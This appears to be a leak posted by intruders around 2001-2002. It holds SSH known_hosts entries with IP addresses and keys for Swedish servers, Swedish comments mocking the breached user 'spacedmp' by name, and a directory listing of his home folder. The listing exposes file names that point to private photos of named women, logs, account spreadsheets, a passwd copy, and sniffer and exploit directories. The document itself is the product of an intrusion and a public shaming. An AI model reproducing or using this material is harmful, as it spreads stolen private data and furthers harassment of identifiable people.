www.fetbandsbolaget.nu,194.236.124.207 1024 35 113835508057579667641576616246491759756101604668998539163854822935679807384854505756538986146139870756007736699863628477271975452261854080548885104633632020033296009085532081813414262842254381211684709870692649718188684303524323382287371461501458073404693800082254034111831632069657178687795876106962346675313
chello-gw.krantz.pp.se,213.89.178.203 ssh-dss AAAAB3NzaC1kc3MAAACBAIhBjLqHWYd75MihhDXpAQ3Hk/2CnFT1iSOC5oT3HKMOtZ9jKDrxsE9rT2Z7nQYElcs10rVDcTI0vnQtjMpraKOt2p0z3KuCVzgtTc++V7kDaR9jGzG2Q21rZf7m/xGpjTWjaCpIPkrdG8c1UOnDtqRfaFKxQTAtoMuGU28FPG71AAAAFQDAEbuei1UUXphswCKJkmeACwhM4QAAAIEAgI/0dLn6LNpXlaGPwh4f4n2FwMgF+wLQEgyzAdFRJVVpg2bbmrNwcS+q9pKmTyqXQf6ffdYxSxYqyVlr9y2uq5Ypmw0VN8VeNfvEruRzl2py8e9OjmFktvaWSouewdWQwWai+MM6LjUvKjTnlTUKYgAhYL5UJHEc3DPgF+rFplwAAACABKht1GiC68WNWd4MJ7ciQ8tWkBXPovy6+vDFWiCpIhJceBMQPD0GHGivj/7vXm87/8w7MZO28pk2i/edeaqlskSNS3PgyDFDigzJLz3SPsk042vsjXKw9fLcbN5xvbVHa/a1RuQV/NL/oYghUBQ1Xzch507WBp1XhUb+ofTk5GQ=
warez.spacedump.pp.se 1024 33 168151578264579140639696453178019738841809063112571996663912298218985713296408221853335115268160062262281374797843836493948217369130749728533115721721903399806241604580469229335000742846562828265405453401230514916705128731325658466058370410655791677481994254580601189829821100386246370876194934518807339978597
web.remedy.nu,217.78.33.248 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzODb4LqgNLJsq4yj2onHGgLxiVV5Fr7bk+Jw76/+AzpkJC1mWbSAJqb0FruxwXdt6zW8zd6nYx3ykcYzpwlU2bIKOAuK6FMXAJ9F7U5PYVPyWfNewkw58236hyamKqI4SBUvbjNhAJWZLkM6BGYKoKQ9FSRtmWQSW+FZpY3nMsM=
bettan.linux.se ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAw/LVY6QiGIpCB2/fNObNXluJzzdsRX8feyQOpTtLd4KWPBoUZZVpRm0nkPIMcJhms0LVzK0RQWw/3J9J/vJpACQBMdqlIAcX1hmwW7zbABwoVlzMBGnVz/pqcUl9PsO8/pOB9ihgnKyOcrUItPyUhipU50cXYe62/paBBMAZ1N0=
birdie.org,195.58.102.38 1024 35 139215770721134631165840435133246542936457575569832547840725449750787634902827510805681976255449193566376182605688384350599762552274373156442881725731427335168845280986403679841602825046856595717584181164849298517807180166919656766868865818731391748570862615951764710932219567500051207747687036301490908879839
warez,194.236.124.48 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA0Oj0s6bGL/uXuSaUb9QGG1z3klcdivozVCBvMwe6wmGBTSuttwU7mMOhVEubqHiEVO0DsPzFXr8Sgjn94GmP5L8nQyRgkSkAxsvhM2r7RHCrP3uSZ82gB3zO8/AfzE0aQA1MokH5mA1GVJtlQ/+1la909aGfeSKXlLAHiZ8xzWE=
#
# Hgr_, Perrra, Sidewalk, Ahnberg, Chorus, #linux.se
# Att så många litar på en kille som är så tokägd.
# Och då har vi ändå editerat bort 3/4 av alla hosts.
#
# Är just DU drabbad/påverkad av detta intrånget?
# Stöd oss i kampanjen "passwd -l spacedmp" för att begränsa framtida skador!
#
$ cd ..
$ ls
zonefiles_klubba-tm.tar
zones
zones2
-rw-r--r-- 1 spacedmp spacedmp 142061 Apr 25 2001 2001-04-02.zip
-rw-r--r-- 1 spacedmp spacedmp 80781 Apr 25 2001 2001-04-11.zip
-rw-r--r-- 1 spacedmp spacedmp 142487 Apr 25 2001 wxrd-1.0.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 121141 Apr 27 2001 libusb-0.1.3b.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 606938 Apr 27 2001 gphoto-2.0beta1.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 717554 Apr 27 2001 imlib-1.9.10.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 709336 Apr 27 2001 gphoto-0.4.3.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 143744 Apr 27 2001 screen.jpg
-rw-r--r-- 1 spacedmp spacedmp 164471 Apr 29 2001 autolice.gz
-rw-r--r-- 1 spacedmp spacedmp 329 Apr 30 2001 .mime.types
-rw-r--r-- 1 spacedmp spacedmp 288 Apr 30 2001 .mailcap
-rw-r--r-- 1 spacedmp spacedmp 2023307 May 1 2001 kvirc-2.1.1.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 8664303 May 1 2001 qt-x11-2.3.0.tar.gz
drwxr-xr-x 5 spacedmp spacedmp 1024 May 1 2001 kvirc-2.1.1
drwxr-xr-x 2 root root 1024 May 1 2001 geda-dl
drwxr-xr-x 10 spacedmp spacedmp 1024 May 1 2001 geda
-rw------- 1 spacedmp spacedmp 323 May 2 2001 gschem.log
-rw-r--r-- 1 spacedmp spacedmp 140274 May 3 2001 micq-0.4.6-p4.tgz
drwx------ 2 spacedmp spacedmp 1024 May 3 2001 help
-rw-r--r-- 1 spacedmp spacedmp 3715 May 4 2001 Unit1.dcu
-rw-r--r-- 1 spacedmp spacedmp 3351 May 4 2001 Unit3.dcu
-rw-r--r-- 1 spacedmp spacedmp 3351 May 4 2001 Unit2.dcu
-rwxr-xr-x 1 spacedmp spacedmp 419284 May 4 2001 Project1
drwxr-xr-x 2 spacedmp spacedmp 1024 May 4 2001 mentor
drwxr-xr-x 3 spacedmp spacedmp 1024 May 4 2001 edwin
drwxr-xr-x 2 spacedmp spacedmp 1024 May 6 2001 spec
drwxr-xr-x 2 spacedmp spacedmp 1024 May 9 2001 Telia
-rw-r--r-- 1 spacedmp spacedmp 1104 May 9 2001 strip.gif
-rw-r--r-- 1 spacedmp spacedmp 189894 May 17 2001 Johanna_sofia.bmp
-rw-r--r-- 1 spacedmp spacedmp 131598 May 17 2001 Tess_Johanna.bmp
-rw-r--r-- 1 spacedmp spacedmp 429634 May 17 2001 bild01.bmp
-rw-r--r-- 1 spacedmp spacedmp 496453 May 18 2001 cd00002.jpg
-rw-r--r-- 1 spacedmp spacedmp 484 May 18 2001 drabant
-rw-r--r-- 1 spacedmp spacedmp 125190 May 19 2001 w3cam-0.6.6.tar.gz
drwxr-xr-x 5 spacedmp spacedmp 1024 May 19 2001 cam
-rw-r--r-- 1 spacedmp spacedmp 677 May 19 2001 konton
-rw-r--r-- 1 spacedmp spacedmp 16448 May 23 2001 sms-libmodem.tgz
-rw-r--r-- 1 spacedmp spacedmp 40021 May 23 2001 libmodem-1.3.tar.gz
drwxr-xr-x 4 spacedmp spacedmp 1024 May 23 2001 lib
-rw-r--r-- 1 spacedmp spacedmp 200 May 23 2001 gardin
drwx------ 4 spacedmp spacedmp 1024 May 23 2001 .opera
-rw-r--r-- 1 spacedmp spacedmp 35 May 23 2001 minicom.log
-rw------- 1 spacedmp spacedmp 36 May 24 2001 sites
-rw-r--r-- 1 spacedmp spacedmp 5835104 May 24 2001 samba-latest.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 14 May 24 2001 dell
-rw-r--r-- 1 spacedmp spacedmp 409976 May 24 2001 remedy.db
-rw-r--r-- 1 spacedmp spacedmp 1298109 May 27 2001 glftpd-lnx_1.23.tgz
-rw-r--r-- 1 spacedmp spacedmp 5433806 May 27 2001 driving.mp3
-rw-r--r-- 1 spacedmp spacedmp 114 May 28 2001 stuff-that-I-need
-rw-r--r-- 1 spacedmp spacedmp 15360 May 29 2001 shellkonto-2.xls
-rw-r--r-- 1 spacedmp spacedmp 1941676 May 29 2001 gnupg-1.0.6.tar.gz
drwxr-xr-x 3 spacedmp spacedmp 1024 May 31 2001 djdjd
-rw------- 1 spacedmp spacedmp 79 May 31 2001 ircd
-rw-r--r-- 1 spacedmp spacedmp 5538731 Jun 2 2001 Cyanide-Angel_astray-01-Revelation_of_my_supremacy.mp3
-rw-r--r-- 1 spacedmp spacedmp 6613917 Jun 2 2001 Cyanide-Angel_astray-02-Angel_astray.mp3
-r-------- 1 spacedmp spacedmp 210 Jun 2 2001 free-mall
-rw-r--r-- 1 spacedmp spacedmp 311 Jun 2 2001 linuxse-freehosting
-rwxr-xr-x 1 spacedmp spacedmp 242 Jun 2 2001 makehost
drwxr-xr-x 3 spacedmp spacedmp 1024 Jun 3 2001 ggjg
-rw-r--r-- 1 spacedmp spacedmp 27 Jun 3 2001 .kvirc-2.1.1.rc
-rw-r--r-- 1 spacedmp spacedmp 2044 Jun 3 2001 test.c
-rw------- 1 spacedmp spacedmp 46 Jun 3 2001 .wmpinboarddata
-rw-r--r-- 1 spacedmp spacedmp 1174579 Jun 4 2001 FLUSWEp22-35.pdf
-rw-r--r-- 1 spacedmp spacedmp 417814 Jun 4 2001 FLUSWEp42-47.pdf
-rw-r--r-- 1 spacedmp spacedmp 331 Jun 8 2001 files
-rw-r--r-- 1 spacedmp spacedmp 7391823 Jun 9 2001 fonts.tgz
-rw-r--r-- 1 spacedmp spacedmp 1927 Jun 10 2001 .acrorc
-rw-r--r-- 1 spacedmp spacedmp 125 Jun 10 2001 gävle-förslag
-rw-r--r-- 1 spacedmp spacedmp 149 Jun 11 2001 pluttan
-rw-r--r-- 1 spacedmp spacedmp 1973923 Jun 12 2001 mutt-1.2.5i.tar.gz
drwx------ 2 spacedmp spacedmp 1024 Jun 12 2001 Mail
-rw-r--r-- 1 spacedmp spacedmp 434 Jun 12 2001 .muttrc
-rw-r--r-- 1 spacedmp spacedmp 52483 Jun 13 2001 unrar-2.50.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 20310 Jun 13 2001 rational_server_perm.dat
-rw-r--r-- 1 spacedmp spacedmp 88802 Jun 17 2001 mozilla-i686-pc-linux-gnu-0.9.1-installer.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 51470 Jun 17 2001 fweb10.jpg
drwxr-xr-x 3 spacedmp spacedmp 1024 Jun 17 2001 .mozilla
drwxr-xr-x 3 spacedmp spacedmp 1024 Jun 17 2001 .fullcircle
-rw-r--r-- 1 spacedmp spacedmp 410 Jun 17 2001 moz-env
drwxr-xr-x 17 spacedmp spacedmp 1024 Jun 17 2001 .gimp-1.2
-rw-r--r-- 1 spacedmp spacedmp 11 Jun 18 2001 eva-tidaholm
drwxr-xr-x 2 spacedmp spacedmp 20480 Jun 18 2001 picsdl
-rw-r--r-- 1 spacedmp spacedmp 3001 Jun 19 2001 IrcLog.#Sverige
-rw-r--r-- 1 spacedmp spacedmp 1542 Jun 22 2001 fake
-rw-r--r-- 1 spacedmp spacedmp 106 Jun 27 2001 ohms
-r-------- 1 spacedmp spacedmp 5 Jun 28 2001 sd-test
-rw-r--r-- 1 spacedmp spacedmp 28277649 Jun 30 2001 pics.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 147 Jun 30 2001 opers.irc.linux.se.mlist
-rw-r--r-- 1 spacedmp spacedmp 201 Jul 1 2001 UV
-rw-r--r-- 1 spacedmp spacedmp 113506 Jul 4 2001 sd-visa-id.jpg
-rw----r-- 1 spacedmp spacedmp 3579 Jul 6 2001 2219.c
-rwxr-xr-x 1 spacedmp spacedmp 14418 Jul 6 2001 2219
-rwxr-xr-x 1 spacedmp spacedmp 14418 Jul 6 2001 ex
-rwxr-xr-x 1 spacedmp spacedmp 565541 Jul 7 2001 dsc00421.jpg
-rw-r--r-- 1 spacedmp spacedmp 1412638 Jul 7 2001 krb4-1.0.8.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 1890304 Jul 8 2001 BamseSaga1.mp3
-rw-r--r-- 1 spacedmp spacedmp 258611200 Jul 8 2001 firewall-backup.tar
drwxr-xr-x 3 spacedmp spacedmp 1024 Jul 9 2001 removed-pics
-rw-r--r-- 1 spacedmp spacedmp 659759 Jul 9 2001 ScrollZ-1.8l.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 15762 Jul 10 2001 Johanna2.jpg
-rw-r--r-- 1 spacedmp spacedmp 3229698 Jul 10 2001 Jimi_Hendrix_-_Foxy_Lady.mp3
-rw------- 1 spacedmp spacedmp 13644979 Jul 11 2001 irc.log.gz
drwxr-xr-x 2 spacedmp spacedmp 1024 Jul 13 2001 patches
drwx------ 5 spacedmp spacedmp 1024 Jul 14 2001 .netscape
-rw-r--r-- 1 spacedmp spacedmp 23 Jul 18 2001 lunarstorm
-rw-r--r-- 1 spacedmp spacedmp 700012 Jul 20 2001 asn.txt
-rw-r--r-- 1 spacedmp spacedmp 13672 Jul 20 2001 as2.png
-rw-r--r-- 1 spacedmp spacedmp 17215 Jul 20 2001 as1.png
-rw-r--r-- 1 spacedmp spacedmp 10 Jul 20 2001 bokning
drwxr-xr-x 2 spacedmp spacedmp 1024 Jul 22 2001 jupe
-rw-r--r-- 1 spacedmp spacedmp 10390 Jul 23 2001 cidr.c
-rw------- 1 spacedmp spacedmp 1537 Jul 24 2001 se-opers.log
-rw-r--r-- 1 spacedmp spacedmp 3634 Jul 25 2001 jupe.tar.gz
-rw------- 1 spacedmp spacedmp 50362 Jul 25 2001 nisse.log.old
-rw-r--r-- 1 spacedmp spacedmp 9647 Jul 26 2001 ume.to.log
-rw-r--r-- 1 spacedmp spacedmp 0 Jul 27 2001 .signature
-rw-r--r-- 1 spacedmp spacedmp 12359788 Jul 28 2001 x-stilletto_heels.zip
drwxr-xr-x 2 spacedmp spacedmp 5120 Jul 28 2001 pornpics
-rw-r--r-- 1 spacedmp spacedmp 659759 Jul 28 2001 ScrollZ-1.8l.tar.gz.1
-rw-r--r-- 1 spacedmp spacedmp 305 Jul 30 2001 ircnet.lusers
-rw-r--r-- 1 spacedmp spacedmp 489 Jul 30 2001 efnet.lusers
-rw-r--r-- 1 spacedmp spacedmp 25096 Aug 1 2001 tcptraceroute-1.2.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 25300 Aug 1 2001 stealth.grep
-rwxr-xr-x 1 root root 38476 Aug 2 2001 htpasswd
-rwxr-xr-x 1 spacedmp spacedmp 6420632 Aug 2 2001 200108011008996653575.sql.bz2
-rw-r--r-- 1 spacedmp spacedmp 19 Aug 3 2001 url
-rw-r--r-- 1 spacedmp spacedmp 135 Aug 3 2001 irc.swipnet.se
drwxr-xr-x 2 spacedmp spacedmp 1024 Aug 12 2001 burken.nu
-rwxr--r-- 1 spacedmp spacedmp 12288 Aug 18 2001 shell-20010704-20010810.xls
-rw-r--r-- 1 spacedmp spacedmp 753 Aug 19 2001 burken.nu-nmap.log
-rw------- 1 spacedmp spacedmp 3201 Aug 19 2001 .micqrc
-rw-r--r-- 1 spacedmp spacedmp 238 Sep 26 2001 spar
-rw-r--r-- 1 spacedmp spacedmp 26937 Sep 29 2001 graphical.zip
-rw-r--r-- 1 spacedmp spacedmp 132257 Oct 1 2001 jolli_tuttar.jpg
-rw-r--r-- 1 spacedmp spacedmp 301428 Oct 7 2001 sanna_sover2.JPG
-rw-r--r-- 1 spacedmp spacedmp 13380 Oct 7 2001 sanna_sover.JPG
drwxr-xr-x 2 spacedmp spacedmp 1024 Oct 8 2001 net
-rw-rw-r-- 1 spacedmp spacedmp 1244286 Oct 9 2001 cap002.bmp
-rw-r--r-- 1 spacedmp spacedmp 3755168 Oct 12 2001 Eldkvarn_-_Kärlekens_Tunga.mp3
-rw-r--r-- 1 spacedmp spacedmp 49 Oct 13 2001 .packages
-rw-r--r-- 1 spacedmp spacedmp 562 Oct 14 2001 buildgraphs.sh
-rw-r--r-- 1 spacedmp spacedmp 2338 Oct 14 2001 fs02load.png
-rw-r--r-- 1 spacedmp spacedmp 634 Oct 14 2001 mailstats
-rw-r--r-- 1 spacedmp spacedmp 854153 Oct 15 2001 nmap-2.54BETA30.tgz
-rw-r--r-- 1 spacedmp spacedmp 7582 Oct 15 2001 natverk1.txt
-rw-r--r-- 1 spacedmp spacedmp 19603 Oct 15 2001 mysql.dump
-rw-r--r-- 1 spacedmp spacedmp 22 Oct 19 2001 ericsson
drwxr-xr-x 7 spacedmp spacedmp 1024 Oct 19 2001 porno
-rw-r--r-- 1 spacedmp spacedmp 671722 Oct 20 2001 irc2.10.3p3.tgz
drwxr-xr-x 2 spacedmp spacedmp 1024 Oct 20 2001 .ssh
-r-------- 1 spacedmp spacedmp 125 Oct 21 2001 warez
-rw-r--r-- 1 spacedmp spacedmp 176933 Oct 21 2001 LEX7.JPG
-rw-r--r-- 1 spacedmp spacedmp 188678 Oct 21 2001 lex-närbild.JPG
-rw-r--r-- 1 spacedmp spacedmp 141391 Oct 21 2001 LEX6.JPG
-rw-r--r-- 1 spacedmp spacedmp 155575 Oct 21 2001 LEX5.JPG
-rw-r--r-- 1 spacedmp spacedmp 178142 Oct 21 2001 lexochsladden.JPG
-rw-r--r-- 1 spacedmp spacedmp 251443 Oct 21 2001 LEX3.JPG
-rw-r--r-- 1 spacedmp spacedmp 326972 Oct 21 2001 LEX4.JPG
-rw-r--r-- 1 spacedmp spacedmp 152896 Oct 21 2001 lex_i_luften.JPG
-rw-r--r-- 1 spacedmp spacedmp 282558 Oct 21 2001 LEX1.JPG
-rw-r--r-- 1 spacedmp spacedmp 150965 Oct 21 2001 lex_o_disktrasan.JPG
-rw-r--r-- 1 spacedmp spacedmp 160200 Oct 21 2001 lex_o_siemens.JPG
-rw-r--r-- 1 spacedmp spacedmp 176153 Oct 21 2001 lex_i_sängen.JPG
-rw-r--r-- 1 spacedmp spacedmp 165986 Oct 21 2001 lex_tittar_ner.JPG
-rw-r--r-- 1 spacedmp spacedmp 195964 Oct 21 2001 lex_o_sladden.JPG
-rw-r--r-- 1 spacedmp spacedmp 219589 Oct 21 2001 lex_ser_kul_ut.JPG
-rw-r--r-- 1 spacedmp spacedmp 58726 Oct 21 2001 BADRUM.JPG
-rw-r--r-- 1 spacedmp spacedmp 154614 Oct 21 2001 BADRUM2.JPG
-rw-r--r-- 1 spacedmp spacedmp 207511 Oct 21 2001 lex_i_fotöljen.JPG
-rw-r--r-- 1 spacedmp spacedmp 150018 Oct 21 2001 08-jolli.jpg
-rw-r--r-- 1 spacedmp spacedmp 178690 Oct 21 2001 12-jolli.jpg
-rw-r--r-- 1 spacedmp spacedmp 7744 Oct 21 2001 Sanna.jpg
-rw-r--r-- 1 spacedmp spacedmp 51 Oct 22 2001 funet
drwxr-xr-x 2 spacedmp spacedmp 1024 Oct 22 2001 wap
-rw-r--r-- 1 spacedmp spacedmp 35074 Oct 25 2001 lex_bord2.JPG
-rw-r--r-- 1 spacedmp spacedmp 120611 Oct 25 2001 lex_i_famnen.JPG
-rw-r--r-- 1 spacedmp spacedmp 201723 Oct 25 2001 closeup_lex.JPG
-rw-r--r-- 1 spacedmp spacedmp 184130 Oct 25 2001 knarkadSanna.JPG
-rw-r--r-- 1 spacedmp spacedmp 221898 Oct 25 2001 lex_sanna.JPG
-rw-r--r-- 1 spacedmp spacedmp 196834 Oct 25 2001 lex_bord.JPG
-rw-r--r-- 1 spacedmp spacedmp 13 Oct 27 2001 emmelie
drwxr-xr-x 2 spacedmp spacedmp 1024 Oct 27 2001 debian
-rw-r--r-- 1 spacedmp spacedmp 81 Oct 28 2001 sjsjjs
-rwxr-xr-x 1 spacedmp spacedmp 12144 Oct 28 2001 tmp
-rw-r--r-- 1 spacedmp spacedmp 357 Oct 28 2001 tmp.c
-rw-r--r-- 1 spacedmp spacedmp 16002 Oct 30 2001 sanna_sjuk.JPG
-rw-r--r-- 1 spacedmp spacedmp 11356 Oct 30 2001 sanna_sjuk2.JPG
-rw-r--r-- 1 spacedmp spacedmp 16664 Oct 30 2001 sanna_sjuk3.JPG
-rw-r--r-- 1 spacedmp spacedmp 293 Oct 31 2001 ipv6
-rw-r--r-- 1 spacedmp spacedmp 138 Nov 2 2001 miffonisse
-rw-r--r-- 1 spacedmp spacedmp 116 Nov 2 2001 taxi
drwxr-xr-x 2 spacedmp spacedmp 1024 Nov 2 2001 ga2
-rw------- 1 spacedmp spacedmp 3453 Nov 4 2001 stenhagen
-rw-r--r-- 1 spacedmp spacedmp 6140 Nov 4 2001 sverige2001
-rw-r--r-- 1 spacedmp spacedmp 54956896 Nov 5 2001 holy_smal.mpg
-rw-r--r-- 1 spacedmp spacedmp 245470 Nov 6 2001 phpBB-1.4.4.tar.gz
drwxr-xr-x 2 spacedmp spacedmp 1024 Nov 11 2001 zones
-rw-r--r-- 1 spacedmp spacedmp 785 Nov 12 2001 keff.logg
drwx------ 2 spacedmp spacedmp 6144 Nov 13 2001 micq.log
-rw-r--r-- 1 spacedmp spacedmp 4603 Nov 13 2001 Gos_hunden.jpg
-rw-r--r-- 1 spacedmp spacedmp 5091 Nov 13 2001 Gos_hunden2.jpg
-rw-r--r-- 1 spacedmp spacedmp 99634 Nov 13 2001 Bild_4.jpg
-rw-r--r-- 1 spacedmp spacedmp 83591 Nov 13 2001 sjuk&frsuen.jpg
-rw-r--r-- 1 spacedmp spacedmp 104732 Nov 13 2001 Bild_3.jpg
-rw-r--r-- 1 spacedmp spacedmp 109165 Nov 13 2001 Marianne.jpg
-rw-r--r-- 1 spacedmp spacedmp 104444 Nov 13 2001 Micke.jpg
-rw-r--r-- 1 spacedmp spacedmp 94516 Nov 13 2001 Angelgirl.jpg
drwxr-xr-x 2 spacedmp spacedmp 1024 Nov 13 2001 arin
-rw-r--r-- 1 spacedmp spacedmp 74198 Nov 14 2001 Spd.jpg
-rw-r--r-- 1 spacedmp spacedmp 71025 Nov 14 2001 Spd2.jpg
-rw-r--r-- 1 spacedmp spacedmp 88413 Nov 14 2001 Spd3.jpg
-rw-rw-rw- 1 spacedmp spacedmp 0 Nov 15 2001 .nfs344cd29a00007de6
-rw-r--r-- 1 spacedmp spacedmp 8 Nov 16 2001 hej
-rw-rw-rw- 1 spacedmp spacedmp 0 Nov 16 2001 .nfs344cda1f000084a3
-rw-rw-rw- 1 spacedmp spacedmp 0 Nov 18 2001 .nfs344cd24e000086e7
-rw-r--r-- 1 spacedmp spacedmp 35735 Nov 18 2001 lovisa.JPG
-rw-r--r-- 1 spacedmp spacedmp 43341 Nov 18 2001 lovisa_gestikulerar.JPG
-rw-r--r-- 1 spacedmp spacedmp 44369 Nov 18 2001 lovisa_kaaaaxig.JPG
-rw-r--r-- 1 spacedmp spacedmp 45058 Nov 18 2001 unknown1.jpg
-rw-r--r-- 1 spacedmp spacedmp 38398 Nov 18 2001 unknown2.jpg
-rw-r--r-- 1 spacedmp spacedmp 39475 Nov 18 2001 unknown3.jpg
-rw-r--r-- 1 spacedmp spacedmp 18789 Nov 18 2001 lovisa_silferstedt.JPG
-rw-r--r-- 1 spacedmp spacedmp 32173 Nov 18 2001 lovisa_tittar_ner.JPG
-rw-r--r-- 1 spacedmp spacedmp 46 Nov 20 2001 funstuff
-rw-r--r-- 1 spacedmp spacedmp 163487 Nov 21 2001 tptest.zip
-rw-r--r-- 1 spacedmp spacedmp 725 Nov 22 2001 stockholm-bans
-rw-r--r-- 1 spacedmp spacedmp 4693 Nov 23 2001 stockholm-clients
-rw-r--r-- 1 spacedmp spacedmp 479 Nov 24 2001 zones2
drwxr-xr-x 2 spacedmp spacedmp 1024 Nov 25 2001 test
drwx------ 2 spacedmp spacedmp 1024 Nov 25 2001 .gnupg
-rw-r--r-- 1 spacedmp spacedmp 106 Nov 25 2001 djdjdjd
-rw-r--r-- 1 spacedmp spacedmp 239502 Nov 27 2001 droger.20011126.log
-rw-r--r-- 1 spacedmp spacedmp 24352 Nov 27 2001 droger.20011127.log
-rw-r--r-- 1 spacedmp spacedmp 315683 Nov 27 2001 droger.20011125.log
-r-------- 1 spacedmp spacedmp 45 Nov 27 2001 k-line
-rw-r--r-- 1 spacedmp spacedmp 13 Nov 27 2001 djdjdjdjd
-rw-r--r-- 1 spacedmp spacedmp 1081040 Nov 29 2001 squid-2.4.STABLE3-src.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 22829 Nov 29 2001 stenhagen.lod
-rw-r--r-- 1 spacedmp spacedmp 19573 Nov 30 2001 k-lines.log
drwxr-xr-x 2 spacedmp spacedmp 1024 Nov 30 2001 slaktarn
-rw-r--r-- 1 spacedmp spacedmp 109 Nov 30 2001 sjsjsjs
drwxr-xr-x 2 spacedmp spacedmp 1024 Nov 30 2001 hacka
drwxr-xr-x 2 spacedmp spacedmp 1024 Dec 2 2001 bin
drwxrwxr-x 2 spacedmp spacedmp 1024 Dec 3 2001 skrotaford
-rw-r--r-- 1 spacedmp spacedmp 9 Dec 3 2001 molgan
-rw-r--r-- 1 spacedmp spacedmp 89444 Dec 3 2001 AMsjuar.gif
-rw-r--r-- 1 spacedmp spacedmp 13 Dec 3 2001 www.lunarstorm.se
-rw-r--r-- 1 spacedmp spacedmp 34 Dec 5 2001 martin
-rw------- 1 spacedmp spacedmp 76353 Dec 7 2001 irclinuxse.log
-rw-r--r-- 1 spacedmp spacedmp 11663341 Dec 8 2001 neo4-first(blood)install.wmv
-rw-r--r-- 1 spacedmp spacedmp 114468 Dec 8 2001 mf.txt
-rw-r--r-- 1 spacedmp spacedmp 13 Dec 12 2001 gunnur
-rw-rw-r-- 1 spacedmp spacedmp 1835 Dec 12 2001 sniff.c
drwxrwxr-x 2 spacedmp spacedmp 1024 Dec 14 2001 porr
-rw-r--r-- 1 spacedmp spacedmp 333 Dec 15 2001 ff
-rw-r--r-- 1 spacedmp spacedmp 6602 Dec 15 2001 sd.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 6608 Dec 15 2001 sd2.tar.gz
drwxr-xr-x 2 spacedmp spacedmp 1024 Dec 15 2001 sniff
drwxr-xr-x 2 spacedmp root 1024 Dec 16 2001 mp3
-rw-r--r-- 1 spacedmp spacedmp 33 Dec 18 2001 trackque
-rw-r--r-- 1 spacedmp spacedmp 246 Dec 19 2001 hardcopy.14
-rw-r--r-- 1 spacedmp spacedmp 89 Dec 19 2001 falcom
-rw-r--r-- 1 spacedmp spacedmp 86016 Dec 25 2001 MOO.DLL
drwxr-xr-x 2 spacedmp spacedmp 1024 Dec 26 2001 sniff2
-rwxr-xr-x 1 spacedmp spacedmp 20310 Dec 27 2001 cidr
-rw-r--r-- 1 spacedmp spacedmp 61 Dec 27 2001 smsm
-rw------- 1 spacedmp spacedmp 203385375 Dec 30 2001 ircnet.log.old.gz
drwxr-xr-x 3 spacedmp spacedmp 1024 Dec 30 2001 mp3dl
-rw-r--r-- 1 spacedmp spacedmp 1943 Jan 1 2002 HOLMEN.TXT
-rw-r--r-- 1 spacedmp spacedmp 3957374 Jan 3 2002 ronny_&_ragge_-_rara_söta_anna.mp3
-rw-r--r-- 1 spacedmp spacedmp 5710 Jan 3 2002 orion.nfo
-rw-r--r-- 1 spacedmp spacedmp 490927 Jan 3 2002 ornfb2b2.zip
-rw-r--r-- 1 spacedmp spacedmp 601 Jan 3 2002 kernel-fbsd
-rw-r--r-- 1 spacedmp spacedmp 4266 Jan 4 2002 tgrep.log
-rw-r--r-- 1 spacedmp spacedmp 4758 Jan 4 2002 tgrep.log.host-to-ip
-rw-r--r-- 1 spacedmp spacedmp 121 Jan 6 2002 k-lines
drwxrwxr-x 2 spacedmp spacedmp 1024 Jan 6 2002 franvaro
-rw-r--r-- 1 spacedmp spacedmp 314296 Jan 7 2002 phpMyAdmin-2.2.3-php.tar.gz
-rw-r--r-- 1 spacedmp spacedmp 138 Jan 7 2002 compaq
drwxr-xr-x 5 root root 1024 Jan 9 2002 Anna
drwxr-xr-x 2 spacedmp spacedmp 1024 Jan 11 2002 msn
-rw-r--r-- 1 spacedmp spacedmp 46 Jan 11 2002 test.irc
-rw-r--r-- 1 spacedmp spacedmp 66786963 Jan 11 2002 Sverigekartan_Version_3.0_Lantmateriet_SWEDiSH.zip
-rw-r--r-- 1 spacedmp spacedmp 1163309 Jan 13 2002 pang.mpg
drwxr-xr-x 2 spacedmp spacedmp 1024 Jan 15 2002 remove
-rw-r--r-- 1 spacedmp spacedmp 9581 Jan 15 2002 passwd
-rw-r--r-- 1 spacedmp spacedmp 687 Jan 15 2002 sshd_config
drwxr-xr-x 3 spacedmp spacedmp 1024 Jan 15 2002 exploit
drwxr-xr-x 5 spacedmp spacedmp 1024 Jan 15 2002 tester
drwxr-xr-x 2 spacedmp spacedmp 1024 Jan 15 2002 logs
-rw-r--r-- 1 spacedmp spacedmp 169616 Jan 18 2002 adodb171.tgz
-rw-r--r-- 1 spacedmp spacedmp 2033661 Jan 18 2002 Duke_Nukem_3D_-_Theme_Song.mp3
drwxr-xr-x 2 spacedmp spacedmp 1024 Jan 19 2002 css
-rw-r--r-- 1 spacedmp spacedmp 688 Jan 19 2002 logrotate
drwxrwxr-x 2 spacedmp spacedmp 1024 Jan 20 2002 samtalspec
-rw-r--r-- 1 spacedmp spacedmp 57201 Jan 24 2002 .ircrc.new
-rw-r--r-- 1 spacedmp spacedmp 2326 Jan 29 2002 nu-users
-rw-r--r-- 1 spacedmp spacedmp 990 Jan 29 2002 nu-users.scan
-rw-rw-r-- 1 spacedmp spacedmp 614697 Jan 29 2002 poslog10.txt
-rw-rw-r-- 1 spacedmp spacedmp 593392 Jan 30 2002 poslog20020130.txt
-rw-rw-r-- 1 spacedmp spacedmp 567118 Jan 30 2002 poslog20020130-gottsunda-granbyc-gottsunda.txt
-rw-r--r-- 1 spacedmp spacedmp 93 Jan 31 2002 GIS
-rw-r--r-- 1 spacedmp spacedmp 45 Feb 4 2002 _fjortisar
-rw-r--r-- 1 spacedmp spacedmp 45 Feb 4 2002 .fjortisar
-rw-r--r-- 1 spacedmp spacedmp 14 Feb 5 2002 brute
drwxr-xr-x 2 spacedmp spacedmp 1024 Feb 5 2002 pos
